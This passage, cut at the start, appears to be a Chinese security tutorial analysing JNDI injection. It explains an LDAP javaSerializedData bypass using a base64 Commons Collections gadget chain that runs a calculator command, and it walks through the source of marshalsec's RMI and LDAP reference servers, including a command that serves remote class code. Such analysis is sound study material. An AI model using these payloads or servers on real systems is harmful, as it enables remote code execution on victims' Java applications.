DtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAEm9wZW4gLWEgQ2FsY3VsYXRvcnQABGV4ZWN1cQB+ADIAAAABcQB+ADdzcQB+ACdzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=";
- e.addAttribute("javaSerializedData", Base64.decode(base64String));
JNDI+LDAP的调用栈如下:
- javax.naming.InitialContext #lookup
- com.sun.jndi.url.ldap.ldapURLContext #lookup
- com.sun.jndi.toolkit.url.GenericURLContext #lookup
- com.sun.jndi.toolkit.ctx.PartialCompositeContext #lookup
- com.sun.jndi.toolkit.ctx.ComponentContext #p_lookup
- com.sun.jndi.ldap.LdapCtx #c_lookup
- com.sun.jndi.ldap #decodeObject
- com.sun.jndi.ldap #deserializeObject
decodeObject这步中,如果javaSerializedData属性的值不为空,就对其属性值进行反序列化deserializeObject,该方法就是原生反序列化的过程((ObjectInputStream)var20).readObject()。
- static Object decodeObject(Attributes var0) throws NamingException {
- String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
-
- try {
- Attribute var1;
- if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) { // javaSerializedData的值不为空
- ClassLoader var3 = helper.getURLClassLoader(var2);
- return deserializeObject((byte[])((byte[])var1.get()), var3);
- } ...
- }
高版本限制com.sun.jndi.ldap.VersionHelper12获取URLClassLoader时会判断com.sun.jndi.ldap.object.trustURLCodebase是否为true。
- final class VersionHelper12 extends VersionHelper {
- private static final String TRUST_URL_CODEBASE_PROPERTY = "com.sun.jndi.ldap.object.trustURLCodebase";
- private static final String trustURLCodebase = (String)AccessController.doPrivileged(new PrivilegedAction<String>() {
- public String run() {
- return System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");
- }
- });
-
- ClassLoader getURLClassLoader(String[] var1) throws MalformedURLException {
- ClassLoader var2 = this.getContextClassLoader();
- return (ClassLoader)(var1 != null && "true".equalsIgnoreCase(trustURLCodebase) ? URLClassLoader.newInstance(getUrlArray(var1), var2) : var2);
- }
- }
所谓的JNDI工具就是能帮助我们起一个JNDI服务,例如上面Demo中的java -cp marshalsec.jar marshalsec.jndi.RMIRefServer http://ip:1389/\#Exp_fast,看一下这部分的具体实现。
RMI/LDAP服务用法,第一个参数是
java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]
RMIRefServer
先看看主函数,核心方法就两步,一是new RMIRefServer将参数(port,url)传入构造函数,二是调用run方法,开启JRMP listener。
- RMIRefServer c = new RMIRefServer(port, new URL(args[0])); // args[0]为
# - c.run();
构造方法:
- public RMIRefServer(int port, URL classpathUrl) throws IOException {
- this.port = port;
- this.classpathUrl = classpathUrl;
- this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
- }
在解析run方法之前,先说说构造方法中用到的ServerSocketFactory所代表的——Socket编程
应用程序建立远程连接是通过Socket(套接字)来实现的,编程语言对操作系统功能进行封装,提供Socket类,每个应用程序对应到不同的Socket。一个Socket由IP地址和端口号(0-65535)组成。客户端和服务器(两台主机,一方发起,一方监听)都通过对Socket对象的写入和读取来进行通信,过程大致如下:
- // 服务器端
- public static void main(String[] args) throws Exception {
- int port = 1234;
- ServerSocket server = new ServerSocket(port); // 服务器实例化一个ServerSocket对象
- Socket socket = server.accept(); // 服务器调用accept方法开始等待请求
- InputStream inputStream = socket.getInputStream(); //从socket中获取输入流
- byte[] bytes = new byte[1024];
- int len;
- StringBuilder sb = new StringBuilder();
- while ((len = inputStream.read(bytes)) != -1) {
- sb.append(new String(bytes, 0, len,"UTF-8")); //将流转换成字符串
- }
- System.out.println("get message from client: " + sb);
- inputStream.close();
- socket.close();
- server.close();
- }
-
- // 客户端
- public static void main(String args[]) throws Exception {
- String host = "127.0.0.1";
- int port = 1234;
- Socket socket = new Socket(host, port); // 客户端实例化一个Socket对象,连接服务器指定端口
- OutputStream outputStream = socket.getOutputStream();
- String message="Hello";
- socket.getOutputStream().write(message.getBytes("UTF-8"));
- outputStream.close();
- socket.close();
- }
如果没有客户端连接,accept方法就会一直阻塞并保持等待。如果有多个客户端同时连接,就会进入到ServerSocket的队列一个一个进行处理。不断调用accept就可以获取新的连接。构造方法中的ss属性就类似new ServerSocket(port);。
此时再看run方法,调用ss.accept方法开始等待请求,一旦接受到请求,获取此套接字连接的端点的地址,然后从socket中获取输入流:
- public void run() {
- try {
- while(!this.exit && (s = this.ss.accept()) != null) {
- try {
- s.setSoTimeout(5000);
- InetSocketAddress remote = (InetSocketAddress)s.getRemoteSocketAddress();
- System.err.println("Have connection from " + remote);
- InputStream is = s.getInputStream();
- InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
-
- // InputSteam.mark(int readlimit),在输入流中标记当前位置,后续调用reset方法重新将流定位于最后标记的位置
- //参数readlimit是标记位置变为非法数据前允许读的字节数,一旦超过这个设置,就认为mark标记失效, 不能再读以前的数据了
- ((InputStream)bufIn).mark(4);
- DataInputStream in = new DataInputStream((InputStream)bufIn);
- Throwable var6 = null;
-
- try {
- // 读取rmi的magic 0x4a524d49(十进制为1246907721)、version(默认为2)
- int magic = in.readInt();
- short version = in.readShort();
- if (magic == 1246907721 && version == 2) { // 判断是RMI协议
- OutputStream sockOut = s.getOutputStream();
- BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
- DataOutputStream out = new DataOutputStream(bufOut);
- Throwable var12 = null;
-
- try {
- byte protocol = in.readByte();
- // protocol有三种,StreamProtocol、SingleOpProtocol、MultiplexProtocol
- // 分别对应0x4b、0x4c、0x4d,对应的是十进制为75、76、77
- switch(protocol) {
- case 75:
- out.writeByte(78); //78为0x4e,代表ProtocolAck
- if (remote.getHostName() != null) {
- out.writeUTF(remote.getHostName());
- } else {
- out.writeUTF(remote.getAddress().toString());
- }
- out.writeInt(remote.getPort());
- out.flush();
- in.readUTF();
- in.readInt();
- case 76:
- this.doMessage(s, in, out);
- bufOut.flush();
- out.flush();
- break;
- case 77:
- default:
- System.err.println("Unsupported protocol");
- s.close();
- }
- } ...
- }
如果是SingleOpProtocol,就调用doMessage:
- private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
- System.err.println("Reading message...");
- int op = in.read();
- switch(op) {
- case 80: // 0x50 -> Call
- this.doCall(in, out);
- break;
- case 81: // 0x51 -> Return
- case 83: // 0x53 -> PingAck
- case 82: // 0x52 -> Ping
- out.writeByte(83);
- break;
- case 84: // 0x54 -> DGCAck
- UID.read(in);
- }...
- }
doCall:
- ObjID read = ObjID.read(ois); // REGISTRY_ID = 0 | ACTIVATOR_ID = 1| DGC_ID = 2
- if (read.hashCode() == 2) {
- handleDGC(ois);
- } else if (read.hashCode() == 0 && this.handleRMI(ois, out)) {
- this.hadConnection = true;
- synchronized(this.waitLock) {
- this.waitLock.notifyAll();
- return;
- }
handleRMI是JNDI Reference的核心,在上面RMI bypass中提到,远程RMI获取Remote对象时需要被ReferenceWrapper包装。handleRMI的功能就是完成ReferenceWrapper的构造。RMI源码解析的文章中也提到过如果需要序列化远程对象或包含对远程对象的引用的对象,则必须使用MarshalOutputStream,它扩展自ObjectOutputStream,根据传入的protocol version来生成流。
- private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception {
- int method = ois.readInt();
- ois.readLong();
- if (method != 2) {
- return false;
- } else {
- String object = (String)ois.readObject();
- System.err.println("Is RMI.lookup call for " + object + " " + method);
- out.writeByte(81);
- ObjectOutputStream oos = new RMIRefServer.MarshalOutputStream(out, this.classpathUrl);
- Throwable var6 = null;
-
- try {
- oos.writeByte(1);
- (new UID()).write(oos);
- System.err.println(String.format("Sending remote classloading stub targeting %s", new URL(this.classpathUrl, this.classpathUrl.getRef().replace('.', '/').concat(".class"))));
- ReferenceWrapper rw = (ReferenceWrapper)Reflections.createWithoutConstructor(ReferenceWrapper.class); // 创建ReferenceWrapper
- Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", this.classpathUrl.getRef(), this.classpathUrl.toString())); // 创建Reference
- Field refF = RemoteObject.class.getDeclaredField("ref");
- refF.setAccessible(true);
- refF.set(rw, new UnicastServerRef(12345));
- oos.writeObject(rw);
- oos.flush();
- out.flush();
- }
- }
同样先看一下main方法:
- InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(new String[]{"dc=example,dc=com"});
- // 指定用于目录服务器的监听器配置,此处传入监听端口
- config.setListenerConfigs(new InMemoryListenerConfig[]{new InMemoryListenerConfig("listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory)SSLSocketFactory.getDefault())});
- // 添加拦截器,用于在内存目录服务器处理请求之前转换请求
- config.addInMemoryOperationInterceptor(new LDAPRefServer.OperationInterceptor(new URL(args[0])));
- // 创建LDAP服务器实例
- InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
- System.out.println("Listening on 0.0.0.0:" + port);
- // 启动服务器,接收客户端连接
- ds.startListening();
拦截器的实现主要是发送LDAP Reference,核心在于设置Entry的属性。
- private static class OperationInterceptor extends InMemoryOperationInterceptor {
- private URL codebase;
-
- public OperationInterceptor(URL cb) { this.codebase = cb;}
-
- public void processSearchResult(InMemoryInterceptedSearchResult result) {
- String base = result.getRequest().getBaseDN();
- Entry e = new Entry(base); //创建Entry
- this.sendResult(result, base, e);
- }
-
- protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
- URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
- System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
- e.addAttribute("javaClassName", "foo");
- String cbstring = this.codebase.toString();
- int refPos = cbstring.indexOf(35);
- if (refPos > 0) {
- cbstring = cbstring.substring(0, refPos);
- }
- // 设置属性为JNDI Reference,高版本绕过此处还应该加入javaSerializedData选项。
- e.addAttribute("javaCodeBase", cbstring);
- e.addAttribute("objectClass", "javaNamingReference");
- e.addAttribute("javaFactory", this.codebase.getRef());
- result.sendSearchEntry(e);
- result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
- }
- }